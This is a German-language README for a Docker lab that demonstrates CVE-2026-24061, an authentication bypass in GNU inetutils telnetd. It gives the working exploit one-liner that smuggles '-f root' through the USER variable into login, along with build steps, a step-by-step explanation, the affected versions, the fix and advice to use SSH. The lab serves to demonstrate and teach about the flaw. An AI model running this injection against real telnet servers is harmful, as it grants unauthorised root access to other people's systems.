
Dies ist ein einfacher PoC, mit dem du die Schwere des aktuell laufenden und aktiv ausgenutzten Telnet-Bugs hervorheben kannst. Warum Leute immer noch Telnet verwenden... das entzieht sich meinem Verständnis.
Ein Docker-Lab zur Demonstration von CVE-2026-24061 — eine kritische Schwachstelle zur Authentifizierungsumgehung in GNU inetutils telnetd, die 11 Jahre lang ungepatcht blieb.
Telnetd übergibt die Umgebungsvariable USER direkt an /usr/bin/login, ohne sie zu bereinigen. Das login-Binary besitzt ein -f-Flag, das die Authentifizierung überspringt (vorgesehen für vorab authentifizierte Sitzungen). Durch Setzen von USER='-f root' täuscht ein Angreifer login vor, Root-Zugriff ohne Passwort zu gewähren.
Betroffene Versionen: GNU inetutils 1.9.3 (März 2015) bis 2.7 CVSS-Score: 9.8 (Kritisch) Fix: Update auf inetutils 2.8+
# Image erstellen
docker build -t telnetd-exploit .
# Container ausführen (bringt dich als user1 in eine Shell)
docker run --rm -it telnetd-exploit
# Exploit — Root ohne Passwort erhalten
USER='-f root' telnet -a localhost
Du landest in einer Root-Shell. Führe whoami aus, um es zu bestätigen.
1. Client verbindet sich mit: USER='-f root' telnet -a localhost
2. telnetd empfängt die Umgebungsvariable USER: "-f root"
3. telnetd führt aus: /usr/bin/login -f root
4. login interpretiert -f als "Authentifizierung überspringen, Benutzer ist vorab verifiziert"
5. Angreifer erhält Root-Shell — kein Passwort erforderlich
Das -f-Flag ist legitim — es ist für Szenarien gedacht, in denen ein Benutzer bereits authentifiziert ist (z. B. aus einer vertrauenswürdigen lokalen Sitzung). Der Fehler besteht darin, dass telnetd die USER-Variable nicht bereinigt, bevor sie an login übergeben wird, sodass Remote-Angreifer das Flag injizieren können.
Stand Januar 2026:
Selbst ohne diesen Fehler überträgt Telnet alles im Klartext — einschließlich Passwörter. Verwende stattdessen SSH.
| Protokoll | Verschlüsselung | Authentifizierung |
|---|---|---|
| Telnet | Keine | Klartext |
| SSH | Ja | Schlüssel/Passwort |
.
├── Dockerfile # Erstellt verwundbaren Debian-Container
├── docker-entrypoint.sh # Startet inetd, wechselt zu user1
└── README.md
Lab basiert auf leonjza/inetutils-telnetd-auth-bypass